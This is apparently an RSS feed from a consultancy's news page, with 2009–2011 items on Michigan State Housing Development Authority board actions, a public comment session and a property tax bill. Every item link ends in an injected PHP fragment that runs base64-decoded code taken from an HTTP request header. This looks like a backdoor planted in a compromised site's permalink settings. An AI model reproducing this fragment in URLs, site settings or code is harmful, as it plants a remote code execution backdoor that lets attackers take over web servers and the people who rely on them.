http://www.parmentergroup.com/news Wed, 23 Feb 2011 15:57:41 +0000 http://backend.userland.com/rss092 en This is a reminder that MSHDA is hosting a public comment session on Friday, February 25, 2011 at 2 p.m. at MSHDA's Lansing office.  The purpose of the session is to receive comments from interested parties regarding potential changes to the Qualified Allocation Plan.  A draft Qualified Allocation Plan will ... http://www.parmentergroup.com/news/2011/02/23/mshda-public-comment-session-lihtc/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The MSHDA Board Meeting scheduled for today, February 23, 2011 was canceled.  MSHDA gave no reason for the cancellation.  The next Board meeting is scheduled for March 23, 2011. http://www.parmentergroup.com/news/2011/02/23/mshda-board-meeting/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ We are watching this bill which will amend Section 7d of the General Property Tax Act that provides for a tax exemption for housing owned and operated by a nonprofit entity, the State, or a local unit of government where the housing is solely for occupancy by ... http://www.parmentergroup.com/news/2010/02/23/senate-bill-887-amends-general-property-tax-act/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Ex. Dir. Keith Molin reported that Chairman Bernie Glieberman resigned his board position effective 12/28/2009.  Mr. Molin expect that a new appointee to fill the vacancy will be in place by the next Board meeting in February. Mr. Molin reported that he will have a response to the Denny ... http://www.parmentergroup.com/news/2010/02/23/mshda-board-meeting-report-for-1272010/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The MSHDA Board met for the last time in 2009 without the Board Chair, Bernie Glieberman, who was reported to be "on leave".  The Board took action approving a massive re-underwriting of its Single Family Bond portfolio that is being financed, in part, by the U.S. Treasury.  It approved 4 multi-family ... http://www.parmentergroup.com/news/2009/12/17/mshda-board-meeting-12162009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Lansing State Journal reported on 11/27/2009 that the Great Lakes Capital Fund is offering buyouts to some of its employees to cut costs.  According to the LSJ article the Cap Fund hopes to save $1.2 - $1.4 million or about 20% of its overhead costs over the next 12 months.  In ... http://www.parmentergroup.com/news/2009/11/29/great-lakes-cap-fund-announces-buy-outs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ MSHDA  took the following action at its board meeting last week: 1.  Approved through another delegated authority process 8 projects participating in the 9% Exchange Program and three participating in the 9% Equity Support Program. 2.  Approved changes in the 9% Equity Support Program increasing the pricing support by 10 cents to 35 ... http://www.parmentergroup.com/news/2009/11/22/mshda-board-action-11182009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ DTE and Consumers Power are offering to install, free of charge, energy efficient light bulbs in apartment units - up to 8 per unit.  Other energy efficiency upgrades that they will install are:  low flow shower heads, low flow faucet aerators, pipe wrapping for individual hot water heaters.  They will also ... http://www.parmentergroup.com/news/2009/11/17/dte-consumers-offer-10-million-energy-efficiency-upgrades/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ MSHDA met on 10-28-09 and took the following actions: 1.  Authorized the Executive Director to grant TCAP and/or 1602 loans to 8 projects - LaVogue, St. Aubin Sq., Gadenview IIA & IIB, Oakland Place, Goodrich Apartments, and Ballentine Apartments.  2.  Besides this delegated authority granted to the Executive Director, MSHDA approved the ... http://www.parmentergroup.com/news/2009/11/17/mshda-board-meeting-10-28-09-action/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The MSHDA Board met this month and took the following actions of interest: 1.  Approved feasibility and loan commitment for Patterson Crossing a 56 family unit preservation project in Frankfort.  Funding for the project comes from Section 1602 funds, LIHTC, MSHDA and RD mortgages. 2.  Approved feasibility and loan commitment for Gateway ... http://www.parmentergroup.com/news/2009/09/28/mshda-board-meeting-9-23-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/